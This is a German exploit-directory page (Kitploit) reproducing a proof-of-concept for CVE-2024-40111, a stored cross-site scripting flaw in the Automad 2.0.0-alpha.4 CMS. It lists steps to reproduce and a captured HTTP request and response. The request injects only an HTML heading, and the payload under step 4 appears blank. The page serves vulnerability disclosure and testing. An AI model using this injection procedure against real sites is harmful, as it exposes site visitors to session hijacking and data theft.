Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-40111-Exploit — # Exploit für: CVE-2024-40111: Stored Cross-Site Scripting (XSS) in Automad 2.0.0-alpha.4 | Kitploit
Tools/GitHubGitHub/theexploiters/cve-2024-40111-exploit
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubtheexploiters/cve-2024-40111-exploit

CVE-2024-40111-Exploit

# Exploit für: CVE-2024-40111: Stored Cross-Site Scripting (XSS) in Automad 2.0.0-alpha.4

Repository anzeigen
2vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-40111: Gespeichertes Cross-Site-Scripting (XSS) in Automad 2.0.0-alpha.4

Exploit-Details

  • Exploit-Titel: Gespeichertes Cross-Site-Scripting (XSS) in Automad 2.0.0-alpha.4
  • Datum: 2024-06-20
  • Exploit-Autor: Jerry Thomas (w3bn00b3r)
  • Hersteller-Website: Automad
  • Software-Link: Automad GitHub Repository
  • Kategorie: Webanwendung [Flat File CMS]
  • Version: 2.0.0-alpha.4
  • Getestet auf: Docker-Version 26.1.4, Debian GNU/Linux 11 (bullseye)

Beschreibung

Eine persistente (gespeicherte) Cross-Site-Scripting-Schwachstelle (XSS) wurde in Automad 2.0.0-alpha.4 identifiziert. Diese Schwachstelle ermöglicht es Angreifern, bösartigen JavaScript-Code in den Template-Body zu injizieren, der im CMS gespeichert wird. Der injizierte Code wird im Browser jedes Benutzers ausgeführt, der die betroffene Seite besucht, was möglicherweise zu Session-Hijacking, Datendiebstahl und anderen bösartigen Aktivitäten führen kann.

Proof-of-Concept

Schritte zur Reproduktion

  1. Anmelden: Melden Sie sich als Admin an und navigieren Sie zum Endpunkt http://localhost/dashboard/home.

  2. Willkommensseite bearbeiten: Bearbeiten Sie die standardmäßige Willkommensseite.

  3. Zum Inhalts-Tab navigieren: Gehen Sie zu http://localhost/dashboard/page?url=%2F&section=text und bearbeiten Sie den Block namens Main.

  4. Payload injizieren: Geben Sie den folgenden XSS-Payload ein:

    root@kitploit:~

Anfrage

root@kitploit:~
POST /_api/page/data HTTP/1.1
Host: localhost
Content-Length: 1822
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzHmXQBdtZsTYQYCv
Accept: */*
Origin: http://localhost
Referer: http://localhost/dashboard/page?url=%2F&section=text
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: Automad-8c069df52082beee3c95ca17836fb8e2=d6ef49301b4eb159fbcb392e5137f6cb
Connection: close

------WebKitFormBoundaryzHmXQBdtZsTYQYCv
Content-Disposition: form-data; name="__csrf__"

49d68bc08cca715368404d03c6f45257b3c0514c7cdf695b3e23b0a4476a4ac1
------WebKitFormBoundaryzHmXQBdtZsTYQYCv
Content-Disposition: form-data; name="__json__"

{"data":{"title":"Welcome","+hero":{"blocks":[{"id":"KodzL-KvSZcRyOjlQDYW9Md2rGNtOUph","type":"paragraph","data":{"text":"Testing for xss","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"bO_fxLKL1LLlgtKCSV_wp2sJQkXAsda8","type":"paragraph","data":{"text":"<h1>XSS identified by Jerry</h1>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"},"+main":{"blocks":[{"id":"lD9sUJki6gn463oRwjcY_ICq5oQPYZVP","type":"paragraph","data":{"text":"You have successfully installed Automad 2.<br><br><br>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"NR_n3XqFF94kfN0jka5XGbi_-TBEf9ot","type":"buttons","data":{"primaryText":"Visit Dashboard","primaryLink":"/dashboard","primaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingVertical":"0.5rem","paddingHorizontal":"1.5rem"},"primaryOpenInNewTab":false,"secondaryText":"","secondaryLink":"","secondaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingHorizontal":"1.5rem","paddingVertical":"0.5rem"},"secondaryOpenInNewTab":true,"justify":"start","gap":"1rem"},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"}},"theme_template":"project","dataFetchTime":"1718911139","url":"/"}
------WebKitFormBoundaryzHmXQBdtZsTYQYCv--

Antwort

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.24.0
Date: Thu, 20 Jun 2024 19:17:35 GMT
Content-Type: application/json; charset=utf-8
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 30

{"code":200,"time":1718911055}
  1. XSS auslösen: Der XSS-Payload wird beim Besuch der Startseite http://localhost/ ausgelöst.

Repo View Counter

Tool herunterladen